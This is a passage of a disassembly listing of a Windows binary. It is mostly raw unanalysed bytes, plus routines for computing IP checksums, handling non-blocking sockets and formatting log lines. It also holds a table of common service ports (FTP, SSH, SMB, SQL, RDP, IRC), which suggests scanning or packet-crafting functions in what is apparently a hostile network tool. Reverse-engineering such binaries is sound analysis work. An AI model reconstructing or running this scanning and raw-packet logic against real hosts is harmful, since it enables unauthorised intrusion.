		dd 68FFFFFEh, 42B088h, 77CEE850h, 85590000h, 97459C0h
		dd 0C6F05D89h, 0EB10F545h, 44858D3Ch, 68FFFFFEh, 42B080h
		dd 77AEE850h, 85590000h, 257459C0h, 7785E8h, 99036A00h
		dd 89F9F759h, 77E8F055h, 6A000077h, 0F7599902h,	1ADAF7F9h
		dd 0EE280D2h, 5588D102h, 20068F5h, 45C60000h, 15FF50F4h
		dd 4CB624h, 0F6458966h,	89E0458Bh, 458B9C45h, 66146AE4h
		dd 66FA5D89h, 89F85D89h, 5D88A045h, 0A545C6A4h,	2415FF06h
		dd 66004CB6h, 8DA64589h, 206A9C45h, 60858D50h, 50FFFFFFh
		dd 8147E8h, 0E8458D00h,	8D50146Ah, 0E8508045h, 8138h, 0FF60858Dh
		dd 346AFFFFh, 6A82E850h, 8966FFFFh, 458DF845h, 50146AD4h
		dd 0FF60858Dh, 0E850FFFFh, 8114h, 6AE8458Dh, 858D5014h
		dd 0FFFFFF74h, 8102E850h, 46A0000h, 5388458Dh, 7376E850h
		dd 0C4830000h, 60858D44h, 6AFFFFFFh, 3DE85028h,	66FFFF6Ah
		dd 8DDE4589h, 146AD445h, 60858D50h, 50FFFFFFh, 80CFE8h
		dd 14C48300h, 6ABC458Dh, 8D535010h, 0FFFF6085h,	503C6AFFh
		dd 0FFFC75FFh, 4CB68815h, 0FFF88300h, 45FF0874h, 0FDBAE908h
		dd 75FFFFFFh, 0BC15FFFCh, 0FF004CB6h, 4CB5B815h, 858D5000h
		dd 0FFFFFDC4h, 500875FFh, 43649468h, 0C0858D00h, 68FFFFFBh
		dd 200h, 76E6E850h, 0C4830000h,	589D3918h, 75FFFFFFh, 858D5323h
		dd 0FFFFFBC0h, 0FF54B5FFh, 8D50FFFFh, 0FFFEC485h, 0B5FF50FFh
		dd 0FFFFFDC0h, 0FF57ADE8h, 14C483FFh, 0FBC0858Dh, 0E850FFFFh
		dd 0ED8h, 0FF44B5FFh, 33E8FFFFh, 59FFFF71h, 0E8905359h
		dd 246C695h, 0FFFC75FFh, 4CB6BC15h, 8458B00h, 0C06BD233h
		dd 0C1C88B3Ch, 0B5F70AE8h, 0FFFFFF4Ch, 5114E9C1h, 0C4858D50h
		dd 0FFFFFFFDh, 8D500875h, 0FFFE4485h, 858D50FFh, 0FFFFFBC0h
		dd 43644468h, 5BE85000h, 83000075h, 9D391CC4h, 0FFFFFF58h
		dd 8D532375h, 0FFFBC085h, 54B5FFFFh, 50FFFFFFh,	0FEC4858Dh
		dd 0FF50FFFFh, 0FFFDC0B5h, 571CE8FFh, 0C483FFFFh, 0C0858D14h
		dd 50FFFFFBh, 0E47E8h, 44B5FF00h, 0E8FFFFFFh, 0FFFF70A2h
		dd 90535959h, 46C604E8h
		db 2
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+0Ch]
		mov	edx, [ebp+8]
		push	esi
		xor	esi, esi
		cmp	eax, 1
		mov	[ebp+0Ch], esi
		jle	short loc_4143A5
		mov	ecx, eax
		push	edi
		shr	ecx, 1
		lea	edi, [ecx+ecx]
		sub	eax, edi


loc_414397:				; CODE XREF: ___:0041439Fj
		movzx	edi, word ptr [edx]
		add	esi, edi
		inc	edx
		inc	edx
		dec	ecx
		jnz	short loc_414397
		pop	edi
		cmp	eax, 1


loc_4143A5:				; CODE XREF: ___:0041438Bj
		jnz	short loc_4143B2
		mov	al, [edx]
		mov	[ebp+0Ch], al
		movzx	eax, word ptr [ebp+0Ch]
		add	esi, eax


loc_4143B2:				; CODE XREF: ___:loc_4143A5j
		mov	ecx, esi
		and	esi, 0FFFFh
		sar	ecx, 10h
		add	ecx, esi
		pop	esi
		mov	eax, ecx
		sar	eax, 10h
		add	eax, ecx
		not	eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------
byte_4143CB	db 55h			; DATA XREF: sub_401ACD+6D49o
		dd 0EC81EC8Bh, 394h, 5608458Bh,	59656A57h, 0BD8DF08Bh
		dd 0FFFFFE6Ch, 80C7A5F3h, 190h,	1, 0FEF0858Dh, 0E850FFFFh
		dd 737Dh, 858D5059h, 0FFFFFE70h, 6415FF50h, 50004CB6h
		dd 0FE6CB58Dh, 0EC81FFFFh, 194h, 8B59656Ah, 0E8A5F3FCh
		dd 5Fh,	19CC481h, 8D500000h, 0FFFC6C85h, 657068FFh, 0E8500043h
		dd 744Ah, 0C483F633h, 0F875390Ch, 8D562075h, 0FFFC6C85h
		dd 0F475FFFFh, 70858D50h, 50FFFFFFh, 0FE6CB5FFh, 0FE8FFFFh
		dd 83FFFF56h, 858D14C4h, 0FFFFFC6Ch, 0D3AE850h,	75FF0000h
		dd 6F98E8F0h, 5959FFFFh, 0C4FBE856h, 55900246h,	0EC81EC8Bh
		dd 0CCh, 358B5653h, 4270A8h, 8957DB33h,	0D6FFFC5Dh, 0FF68h
		dd 6A036A00h, 0F0458902h, 0B6A415FFh, 4589004Ch, 50D6FFF8h
		dd 741FE8h, 78BF5900h, 57000005h, 16A096Ah, 41BBE8h, 50595900h
		dd 50D8458Dh, 70BBE8h, 0CC48300h, 5A0BEh, 6FE89000h, 2B0241C9h
		dd 0D233F045h, 3E8B9h, 3BF1F700h, 1A085h, 0C2870F00h, 39000001h
		dd 4CEDD81Dh, 6A597500h, 45895810h, 458D50ECh, 0E8505398h
		dd 707Ch, 8D0CC483h, 8D50EC45h,	0FF509845h, 15FF0875h
		dd 4CB5C8h, 0FF68h, 0E8016A00h,	4150h, 0F505959h, 509E45B6h
		dd 9D45B60Fh, 45B60F50h, 858D509Ch, 0FFFFFF34h,	42DC3468h
		dd 2FE85000h, 83000073h, 13EB18C4h, 0FF34858Dh,	0B868FFFFh
		dd 50004CE7h, 7943E8h, 8D595900h, 0FFFF3485h, 15FF50FFh
		dd 4CB664h, 8BF44589h, 4524A845h, 0C6450C56h, 8910AC45h
		dd 15FFA845h, 4CB624h, 0AE458966h, 7345E8h, 45896600h
		dd 0F4458BB0h, 8BB84589h, 19C85h, 45C76600h, 0C60040B2h
		dd 0C640B445h, 6606B545h, 89B65D89h, 1BE8BC45h,	66000073h
		dd 0E8C04589h, 7312h, 0C2458966h, 7309E8h, 0C4458900h
		dd 7301E8h, 0C8458900h,	66CC458Bh, 6AFF5025h, 0C6500C14h
		dd 6618CE45h, 66CC4589h, 66C2458Bh, 8B8A4589h, 4589BC45h
		dd 0A8458D8Ch, 45C76650h, 66787DD0h, 66D25D89h,	66D45D89h
		dd 28845C7h, 0FD57E800h, 8966FFFFh, 458DB645h, 50286AA8h
		dd 0FFFD48E8h, 0B8458BFFh, 8910C483h, 0FFFF5485h, 0BC458BFFh
		dd 58C68h, 58858900h, 88FFFFFFh, 0FFFF5C9Dh, 5D85C6FFh
		dd 6FFFFFFh, 69D0E9E8h,	89669071h, 0FFFF5E85h, 60858DFFh
		dd 6AFFFFFFh, 458D5014h, 99E850C0h, 8D00007Ch, 0FFFF7485h
		dd 8D5057FFh, 0E850D845h, 7C88h, 0FF54858Dh, 9868FFFFh
		dd 50000005h, 0FFFCE0E8h, 20C483FFh, 0D2458966h, 458D106Ah
		dd 8D535088h, 5056A845h, 0FFF875FFh, 4CB68815h,	0FC45FF00h
		dd 0FFFE20E9h, 0F875FFFFh, 0B6BC15FFh, 458B004Ch, 5B5E5FFCh
; ---------------------------------------------------------------------------
		leave
		retn
; ---------------------------------------------------------------------------
word_4146CE	dw 8B55h		; DATA XREF: sub_401ACD+4CBFo
		dd 14EC81ECh, 8B000004h, 0B8560855h, 85h, 8BC88B57h, 0ECBD8DF2h
		dd 81FFFFFDh, 214ECh, 8BA5F300h, 0ECB58DC8h, 8BFFFFFDh
		dd 1082C7FCh, 1000002h,	0F3000000h, 37E8A5h, 0C4810000h
		dd 214h, 0EC858D50h, 68FFFFFBh,	4365A4h, 7160E850h, 858D0000h
		dd 0FFFFFBECh, 0A7AE850h, 75FF0000h, 6CD8E8F0h,	0C483FFFFh
		dd 90006A14h, 46C238E8h, 0EC8B5502h, 254EC81h, 56530000h
		dd 0FFBBh, 6A535700h, 0FF026A03h, 4CB6A415h, 0FFF88300h
		dd 75F44589h, 0AC858D1Ah, 68FFFFFDh, 436794h, 710CE850h
		dd 33590000h, 0C9E959FFh, 8D000002h, 46AEC4Dh, 6AFF3351h
		dd 0C7505702h, 1EC45h, 15FF0000h, 4CB604h, 75FFF883h, 0B815FF0Eh
		dd 50004CB5h, 43674468h, 8D1BEB00h, 0FF500C45h,	4CB66415h
		dd 0FFF88300h, 15FF2075h, 4CB5B8h, 67006850h, 858D0043h
		dd 0FFFFFDACh, 70B0E850h, 0C4830000h, 26EE90Ch,	66570000h
		dd 2DC45C7h, 2415FF00h,	66004CB6h, 8DDE4589h, 90500C45h
		dd 69CAFFE8h, 0A8358B71h, 89004270h, 0D6FFE045h, 8DF84589h
		dd 8D500C45h, 0FFFDAC85h, 66D468FFh, 0E8500043h, 706Ah
		dd 390CC483h, 214BDh, 57207500h, 0FDAC858Dh, 0B5FFFFFFh
		dd 210h, 8C858D50h, 50000001h, 0E80875FFh, 0FFFF522Eh
		dd 8914C483h, 0D6FFFC7Dh, 33F8452Bh, 3E8B9D2h, 0F1F70000h
		dd 858DF08Bh, 10Ch, 6F13E850h, 0F03B0000h, 93870F59h, 0BE000001h
		dd 41Ch, 0FFBB05EBh, 39000000h,	4CEDD83Dh, 6A527500h, 45895810h
		dd 458D50F0h, 0E85057CCh, 6CFCh, 8D0CC483h, 8D50F045h
		dd 0FF50CC45h, 15FF0875h, 4CB5C8h, 0E8016A53h, 3DD4h, 0F505959h
		dd 50D245B6h, 0D145B60Fh, 45B60F50h, 458D50D0h,	0DC3468ACh
		dd 0E8500042h, 6FB6h, 0EB18C483h, 0AC458D10h, 4CE7B868h
		dd 0CDE85000h, 59000075h, 5C65659h, 4CE9B8h, 2415FF45h
		dd 66004CB6h, 4CE9BAA3h, 0AC458D00h, 5C76650h, 4CE9BCh
		dd 89660001h, 4CE9BE3Dh, 0C005C600h, 80004CE9h,	0E9C105C6h
		dd 6611004Ch, 0E9C23D89h, 15FF004Ch, 4CB664h, 4CE9C4A3h
		dd 0E0458B00h, 4CE9C8A3h, 8C858D00h, 50000000h,	0D23D8966h
		dd 0E8004CE9h, 6E31h, 7559C085h, 6F90E810h, 0B9990000h
		dd 401h, 0EB52F9F7h, 8C858D0Eh,	50000000h, 6E10E8h, 0FF505900h
		dd 4CB62415h, 0CEA36600h, 0E8004CE9h, 6F66h, 401B999h
		dd 8680000h, 0F7000004h, 158966F9h, 4CE9CCh, 0B62415FFh
		dd 68004Ch, 66000004h, 4CE9D0A3h, 6F3CE800h, 0F7990000h
		dd 0D46852FBh, 0E8004CE9h, 6BDCh, 8D0CC483h, 106ADC45h
		dd 68565750h, 4CE9B8h, 0FFF475FFh, 4CB68815h, 0FFF88300h
		dd 0A5840Fh, 45FF0000h,	0C474E8FCh, 2B900241h, 0D233F845h
		dd 3E8B9h, 8BF1F700h, 0C858DD8h, 50000001h, 6D80E8h, 59D83B00h
		dd 0FE74860Fh, 75FFFFFFh, 0BC15FFF4h, 8B004CB6h, 858DFC75h
		dd 10Ch, 1CF66950h, 0E8000004h,	6D59h, 8BD23359h, 0C1C68BC8h
		dd 0F1F70AE8h, 5014EEC1h, 0FC75FF56h, 500C458Dh, 43667068h
		dd 0AC858D00h, 50FFFFFDh, 6E3DE8h, 18C48300h, 214BD39h
		dd 20750000h, 0AC858D57h, 0FFFFFFFDh, 210B5h, 858D5000h
		dd 18Ch, 875FF50h, 0FF5001E8h, 14C483FFh, 0C0335E5Fh, 0FFC3C95Bh
		dd 0FF56FC75h, 4CB5B815h, 458D5000h, 0E468500Ch, 0EB004365h
		db 0ACh
byte_414A91	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+6361o
		dd 414EC81h, 458B0000h,	0B9575608h, 85h, 0BD8DF08Bh, 0FFFFFDECh
		dd 80C7A5F3h, 210h, 1, 0FEF0858Dh, 0E850FFFFh, 6CB5h, 858D5059h
		dd 0FFFFFE70h, 6CA7E850h, 50590000h, 0FDF0858Dh, 0FF50FFFFh
		dd 4CB66415h, 47E85000h, 83000001h, 8D500CC4h, 0FFFBEC85h
		dd 67C068FFh, 0E8500043h, 6D8Ah, 0C483F633h, 0F875390Ch
		dd 8D562075h, 0FFFBEC85h, 0F475FFFFh, 70858D50h, 50FFFFFFh
		dd 0FDECB5FFh, 4FE8FFFFh, 83FFFF4Fh, 858D14C4h,	0FFFFFBECh
		dd 67AE850h, 75FF0000h,	68D8E8F0h, 5959FFFFh, 0BE3BE856h
		dd 5F900246h
; ---------------------------------------------------------------------------
		pop	esi
		push	ebp
		mov	ebp, esp
		sub	esp, 210h
		and	dword ptr [ebp-4], 0
		cmp	dword ptr [ebp+14h], 0
		push	esi
		push	edi
		jnz	short loc_414B6E
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	near ptr 71AB3E5Dh
		nop
		jmp	loc_414C2A
; ---------------------------------------------------------------------------


loc_414B6E:				; CODE XREF: ___:00414B58j
		mov	esi, [ebp+8]
		push	1
		pop	edi
		lea	eax, [ebp-8]
		push	eax
		push	8004667Eh
		push	esi
		mov	[ebp-8], edi
		call	near ptr 71AB155Ah
		nop
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	esi
		call	dword_4CB5CC
		push	dword ptr [ebp+14h]
		lea	eax, [ebp-210h]
		mov	[ebp-108h], esi
		mov	[ebp-10Ch], edi
		push	0
		push	eax
		lea	eax, [ebp-10Ch]
		mov	[ebp-20Ch], esi
		push	eax
		lea	eax, [esi+1]
		push	eax
		mov	[ebp-210h], edi
		call	dword_4CB60C
		test	eax, eax
		jnz	short loc_414BD2
		or	eax, 0FFFFFFFFh
		jmp	short loc_414C2A
; ---------------------------------------------------------------------------


loc_414BD2:				; CODE XREF: ___:00414BCBj
		or	edi, 0FFFFFFFFh
		cmp	eax, edi
		jnz	short loc_414BDD


loc_414BD9:				; CODE XREF: ___:00414BFDj
					; ___:00414C21j
		mov	eax, edi
		jmp	short loc_414C2A
; ---------------------------------------------------------------------------


loc_414BDD:				; CODE XREF: ___:00414BD7j
		lea	eax, [ebp-10Ch]
		push	eax
		push	esi
		call	sub_426756
; ---------------------------------------------------------------------------
		test	eax, eax
		jnz	short loc_414BFF
		lea	eax, [ebp-210h]
		push	eax
		push	esi
		call	sub_426756
; ---------------------------------------------------------------------------
		test	eax, eax
		jz	short loc_414BD9


loc_414BFF:				; CODE XREF: ___:00414BECj
		lea	eax, [ebp+8]
		mov	dword ptr [ebp+8], 4
		push	eax
		lea	eax, [ebp-4]
		push	eax
		push	1007h
		push	0FFFFh
		push	esi
		nop
		call	near ptr 71AB4122h
		cmp	eax, edi
		jz	short loc_414BD9
		mov	eax, [ebp-4]
		neg	eax
		sbb	eax, eax


loc_414C2A:				; CODE XREF: ___:00414B69j
					; ___:00414BD0j ...
		pop	edi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------
		dw 8B55h
		dd 0CEC81ECh, 53000001h, 16A5756h, 50DB3358h, 0FF685353h
		dd 6A000000h, 89026A03h, 0AEE8EC45h, 90716A0Dh,	6AEC4D8Dh
		dd 26A5104h, 48A35053h,	0FF004CEEh, 4CB60415h, 0A8358B00h
		dd 0FF004270h, 61E850D6h, 5900006Ch, 196AC033h,	0FF00BD8Dh
		dd 8959FFFFh, 0FFFEF49Dh, 844D89FFh, 0FEF89D89h, 9D89FFFFh
		dd 0FFFFFEFCh, 0FF7485C7h, 401FFFFh, 85C70000h,	0FFFFFF78h
		dd 15h,	0FF7C85C7h, 16FFFFh, 45C70000h,	1780h, 8845C700h
		dd 35h,	508C45C7h, 0C7000000h, 519045h,	45C70000h, 5894h
		dd 9845C700h, 6Eh, 719C45C7h, 0C7000000h, 77A045h, 45C70000h
		dd 87A4h, 0A845C700h, 89h, 8BAC45C7h, 0C7000000h, 8FB045h
		dd 45C70000h, 1BBB4h, 0B845C700h, 1BDh,	0BC45C7h, 0C7000004h
		dd 599C045h, 45C70000h,	5DCC4h,	0C845C700h, 6B8h, 0EACC45C7h
		dd 0C700000Ch, 0D3DD045h, 45C70000h, 1388D4h, 0D845C700h
		dd 1A0Bh, 40DC45C7h, 0C700001Fh, 1F90E045h, 0ABF30000h
		dd 0C7F05D89h, 3E445h, 45C70000h, 0BB8E8h, 0FC5D8900h
		dd 6608458Bh, 0FF6485C7h, 2FFFFh, 0FF688589h, 458BFFFFh
		dd 5BC8DFCh, 0FFFFFF74h, 5848B66h, 0FFFFFF74h, 2415FF50h
		dd 53004CB6h, 26A016Ah,	66858966h, 0FFFFFFFFh, 4CB6A415h
		dd 0E44D8D00h, 51F44589h, 0FF648D8Dh, 106AFFFFh, 7EE85051h
		dd 83FFFFFDh, 458910C4h, 0F475FFF8h, 0B6BC15FFh, 5D39004Ch
		dd 8B0C75F8h, 78BFC4Dh,	0F40D8489h, 83FFFFFEh, 8304FC45h
		dd 7C70FC7Dh, 0EE4CBF83h, 0F068004Ch, 570042D0h, 6A85E8h
		dd 0FF595900h, 0F44589D6h, 0FEF4858Dh, 5D89FFFFh, 0F84589FCh
		dd 452BD6FFh, 0B9D233F4h, 3E8h,	453BF1F7h, 8B45770Ch, 8BF845h
		dd 1574C33Bh, 0EC685750h, 57004367h, 0E8F04589h, 6A46h
		dd 0EB10C483h, 0FFFF681Ah, 0E8530000h, 3834h, 0FF505959h
		dd 4CB62415h, 0C0B70F00h, 0FFF04589h, 4583FC45h, 7D8304F8h
		dd 0A87C1CFCh, 6853286Ah, 4CEDE8h, 6717E8h, 0FFFFBE00h
		dd 5C60000h, 4CEDE8h, 685645h, 0C6000004h, 4CEDF105h, 5C60600h
		dd 4CEDE9h, 37E6E808h, 0C4830000h, 15FF5014h, 4CB624h
		dd 0A366286Ah, 4CEDECh,	0B62415FFh, 0D80004Ch, 4CEDF0h
		dd 0D81D39FFh, 66004CEDh, 4CEDEAA3h, 1D896600h,	4CEDEEh
		dd 0FE681A75h, 6A0000FFh, 37A6E801h, 59590000h,	0C1084D8Bh
		dd 0CE2310E0h, 0BEBC10Bh, 4CE7B868h, 6415FF00h,	0A3004CB6h
		dd 4CEDF4h, 6808458Bh, 4000h, 4CEDF8A3h, 91D8800h, 0FF004CEEh
		dd 4CB62415h, 66535600h, 4CEE0AA3h, 3762E800h, 0F88B0000h
		dd 0E7C15356h, 3756E808h, 0C4830000h, 57F80310h, 0B62015FFh
		dd 0A3004Ch, 0A0004CEEh, 4CEE08h, 24087D8Bh, 6A500C0Fh
		dd 0EE08A214h, 8B66004Ch, 1D89F045h, 4CEE04h, 0E1D8966h
		dd 66004CEEh, 4CEDFEA3h, 243D8900h, 88004CEEh, 4CEE281Dh
		dd 2905C600h, 6004CEEh,	0B62415FFh, 0A366004Ch,	4CEE2Ah
		dd 0EDFEA166h, 0C766004Ch, 4CEE1005h, 89000200h, 4CEE143Dh
		dd 12A36600h, 89004CEEh, 5EBFC5Dh, 0FFFFBEh, 0FC5D3900h
		dd 53562F75h, 36CBE8h, 50595900h, 0B62415FFh, 0A366004Ch
		dd 4CEDFCh, 4CEDF4A1h, 0EE20A300h, 5C6004Ch, 4CEE09h, 41D8902h
		dd 0EB004CEEh, 0C653561Fh, 4CEE0905h, 95E81000h, 59000036h
		dd 15FF5059h, 4CB624h, 0A3C0B70Fh, 4CEE04h, 0EC05FF66h
		dd 0FF004CEDh, 4CEE0005h, 0FEA16600h, 6A004CEDh, 0FCBE5905h
		dd 0BF004CEDh, 4CEE2Ch,	0F21D8966h, 66004CEDh, 0EE0C1D89h
		dd 146A004Ch, 0E8BEA5F3h, 66004CEDh, 4CEE12A3h,	25E85600h
		dd 6AFFFF5Ch, 0EE206820h, 0A366004Ch, 4CEDF2h, 0FF5C13E8h
		dd 10C483FFh, 0EE0CA366h, 106A004Ch, 4CEE1068h,	286A5300h
		dd 4835FF56h, 0FF004CEEh, 4CB68815h, 0FC45FF00h, 0FFFC7D81h
		dd 0F000003h, 0FFFF238Ch, 0BDC8E8FFh, 2B900241h, 0D233F445h
		dd 3E8B9h, 3BF1F700h, 0E770C45h, 0E81075FFh, 240B4C2h
		dd 0FDC2E990h, 5E5FFFFFh, 4CEE4CB8h, 0C3C95B00h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4150B4	proc near		; CODE XREF: sub_401ACD+71FFp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		push	esi
		push	edi
		mov	esi, offset dword_43D7E0
		mov	edi, 0B8h


loc_4150C8:				; CODE XREF: sub_4150B4+33j
		cmp	byte ptr [esi],	0
		jz	short loc_4150EB
		push	[ebp+arg_0]
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4150EB
		inc	[ebp+var_4]
		add	esi, edi
		cmp	esi, offset dword_43E360
		jl	short loc_4150C8
		jmp	short loc_41512D
; ---------------------------------------------------------------------------


loc_4150EB:				; CODE XREF: sub_4150B4+17j
					; sub_4150B4+26j
		mov	esi, [ebp+var_4]
		push	ebx
		imul	esi, 0B8h
		push	edi
		push	0
		lea	ebx, dword_43D7E0[esi]
		push	ebx
		call	sub_41B590
		push	17h
		push	[ebp+arg_0]
		push	ebx
		call	sub_41B5F0
		push	9Fh
		lea	eax, dword_43D7F8[esi]
		push	[ebp+arg_4]
		push	eax
		call	sub_41B5F0
		add	esp, 24h
		inc	dword_429498
		pop	ebx


loc_41512D:				; CODE XREF: sub_4150B4+35j
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		leave
		retn
sub_4150B4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415134	proc near		; CODE XREF: sub_401ACD+28DDp

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	esi
		push	edi
		push	0
		push	[ebp+arg_8]
		push	offset dword_436808
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h
		xor	edi, edi
		mov	esi, offset dword_43D7E0


loc_41515E:				; CODE XREF: sub_415134+72j
		cmp	byte ptr [esi],	0
		jz	short loc_415199
		lea	eax, [esi+18h]
		push	eax
		push	esi
		push	edi
		push	offset dword_4367F4
		lea	eax, [ebp+var_200]
		push	200h
		push	eax
		call	sub_41B980
		push	1
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 2Ch


loc_415199:				; CODE XREF: sub_415134+2Dj
		add	esi, 0B8h
		inc	edi
		cmp	esi, offset dword_43E360
		jl	short loc_41515E
		pop	edi
		pop	esi
		leave
		retn
sub_415134	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4151AC	proc near		; CODE XREF: ___:004015A5p
					; ___:00401629p ...

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_A		= word ptr -0Ah
var_8		= word ptr -8
var_6		= word ptr -6
var_4		= word ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	ebx
		push	esi
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		nop
		call	near ptr 293012Ah
		mov	ebx, offset dword_4D324C
		mov	edi, 80h
		mov	esi, offset dword_4CF24C


loc_4151CE:				; CODE XREF: sub_4151AC+3Dj
		cmp	byte ptr [ebx],	0
		jz	short loc_4151E5
		push	7Fh
		lea	eax, [ebx+80h]
		push	ebx
		push	eax
		call	sub_41B5F0
		add	esp, 0Ch


loc_4151E5:				; CODE XREF: sub_4151AC+25j
		sub	ebx, edi
		cmp	ebx, esi
		jge	short loc_4151CE
		movzx	eax, [ebp+var_4]
		push	[ebp+arg_0]
		push	eax
		movzx	eax, [ebp+var_6]
		push	eax
		movzx	eax, [ebp+var_8]
		push	eax
		movzx	eax, [ebp+var_10]
		push	eax
		movzx	eax, [ebp+var_A]
		push	eax
		movzx	eax, [ebp+var_E]
		push	eax
		push	offset a_2d_2d4d_2d_2d ; "[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s"
		push	edi
		push	esi
		call	sub_41B980
		add	esp, 28h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4151AC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415220	proc near		; CODE XREF: sub_4017ED+F7p
					; sub_401ACD:loc_402077p ...

var_80		= byte ptr -80h
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 80h
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_80]
		push	[ebp+arg_0]
		push	80h
		push	eax
		call	sub_41C190
		lea	eax, [ebp+var_80]
		push	eax
		call	sub_4151AC
		add	esp, 14h
		leave
		retn
sub_415220	endp


; =============== S U B	R O U T	I N E =======================================



sub_41524C	proc near		; CODE XREF: sub_401ACD+27D4p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, offset dword_4CF24C
		xor	ecx, ecx


loc_415253:				; CODE XREF: sub_41524C+13j
		mov	[eax], cl
		add	eax, 80h
		cmp	eax, offset dword_4D324C
		jl	short loc_415253
		cmp	[esp+arg_C], ecx
		jnz	short loc_415281
		push	ecx
		push	[esp+4+arg_8]
		push	offset dword_436854
		push	[esp+0Ch+arg_4]
		push	[esp+10h+arg_0]
		call	sub_409A72
		add	esp, 14h


loc_415281:				; CODE XREF: sub_41524C+19j
		push	offset dword_436840
		call	sub_4151AC
		pop	ecx
		retn
sub_41524C	endp

; ---------------------------------------------------------------------------
byte_41528D	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+2887o
; ---------------------------------------------------------------------------
		sub	esp, 31Ch
		mov	eax, [ebp+8]
		push	esi
		push	edi
		push	45h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp-11Ch]
		push	1
		rep movsd
		xor	edx, edx
		pop	edi
		cmp	[ebp-10h], edx
		mov	dword ptr [ebp-8], 80h
		mov	[ebp-4], edx
		mov	[eax+110h], edi
		jnz	short loc_4152E0
		push	edx
		lea	eax, [ebp-118h]
		push	dword ptr [ebp-14h]
		push	offset dword_436884
		push	eax
		push	dword ptr [ebp-11Ch]
		call	sub_409A72
		add	esp, 14h


loc_4152E0:				; CODE XREF: ___:004152C0j
		cmp	byte ptr [ebp-98h], 0
		jz	short loc_415300
		lea	eax, [ebp-98h]
		push	eax
		call	sub_41B779
		test	eax, eax
		pop	ecx
		mov	[ebp-4], eax
		jz	short loc_415300
		mov	[ebp-8], eax


loc_415300:				; CODE XREF: ___:004152E7j
					; ___:004152FBj
		and	dword ptr [ebp+8], 0
		mov	esi, offset dword_4CF24C


loc_415309:				; CODE XREF: ___:00415361j
		mov	eax, [ebp+8]
		cmp	eax, [ebp-8]
		jge	short loc_415363
		cmp	byte ptr [esi],	0
		jz	short loc_415352
		cmp	byte ptr [ebp-98h], 0
		jz	short loc_415338
		cmp	dword ptr [ebp-4], 0
		jnz	short loc_415338
		lea	eax, [ebp-98h]
		push	eax
		push	esi
		call	sub_418086
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_415352


loc_415338:				; CODE XREF: ___:0041531Dj
					; ___:00415323j
		push	edi
		lea	eax, [ebp-118h]
		push	dword ptr [ebp-14h]
		push	esi
		push	eax
		push	dword ptr [ebp-11Ch]
		call	sub_409A72
		add	esp, 14h


loc_415352:				; CODE XREF: ___:00415314j
					; ___:00415336j
		inc	dword ptr [ebp+8]
		add	esi, 80h
		cmp	esi, offset dword_4D324C
		jl	short loc_415309


loc_415363:				; CODE XREF: ___:0041530Fj
		lea	eax, [ebp-31Ch]
		push	offset dword_436868
		push	eax
		call	sub_41B886
		xor	esi, esi
		pop	ecx
		cmp	[ebp-10h], esi
		pop	ecx
		jnz	short loc_41539D
		push	esi
		lea	eax, [ebp-31Ch]
		push	dword ptr [ebp-14h]
		push	eax
		lea	eax, [ebp-118h]
		push	eax
		push	dword ptr [ebp-11Ch]
		call	sub_409A72
		add	esp, 14h


loc_41539D:				; CODE XREF: ___:0041537Bj
		lea	eax, [ebp-31Ch]
		push	eax
		call	sub_4151AC
		push	dword ptr [ebp-18h]
		call	sub_40B412
		pop	ecx
		pop	ecx
		push	esi
		nop
; ---------------------------------------------------------------------------
		db 0E8h, 0C3h, 0B5h
; ---------------------------------------------------------------------------
		inc	esi
		add	bl, [edi+5Eh]

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4153BC	proc near		; CODE XREF: sub_401ACD+734Fp

var_484		= byte ptr -484h
var_84		= dword	ptr -84h
var_80		= dword	ptr -80h
var_7C		= dword	ptr -7Ch
var_78		= word ptr -78h
var_76		= word ptr -76h
var_74		= dword	ptr -74h
var_70		= dword	ptr -70h
var_6C		= dword	ptr -6Ch
var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= word ptr -4Ch
var_4A		= word ptr -4Ah
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= word ptr -30h
var_2E		= dword	ptr -2Eh
var_2A		= word ptr -2Ah
var_28		= word ptr -28h
